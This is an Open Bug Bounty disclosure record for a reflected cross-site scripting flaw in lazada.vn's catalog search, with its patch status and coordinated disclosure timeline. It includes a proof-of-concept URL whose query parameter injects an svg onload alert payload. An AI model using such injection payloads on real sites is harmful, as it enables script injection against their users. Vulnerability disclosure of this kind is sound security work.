lazada.vn XSS vulnerability

2016-05-16T06:01:00
ID OBB:153938
Type openbugbounty
Reporter 524Dart
Modified 2018-01-04T10:08:00

Description

Vulnerable URL:
http://www.lazada.vn/catalog/?q=0x524d%27%22%3E%3Csvg%20onload=alert`0x524d`%3E
Details:

Description| Value
---|---
Patched:| Yes, at 04.01.2018
Latest check for patch:| 04.01.2018 10:08 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 4492
VIP website status:| Yes
Check lazada.vn SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 16 May, 2016 06:01 GMT
Vulnerability existence verified and confirmed| 16 May, 2016 10:54 GMT
Vulnerability details disclosed by researcher| 8 August, 2016 11:12 GMT
Vulnerability patched by the website owner| 4 January, 2018 10:08 GMT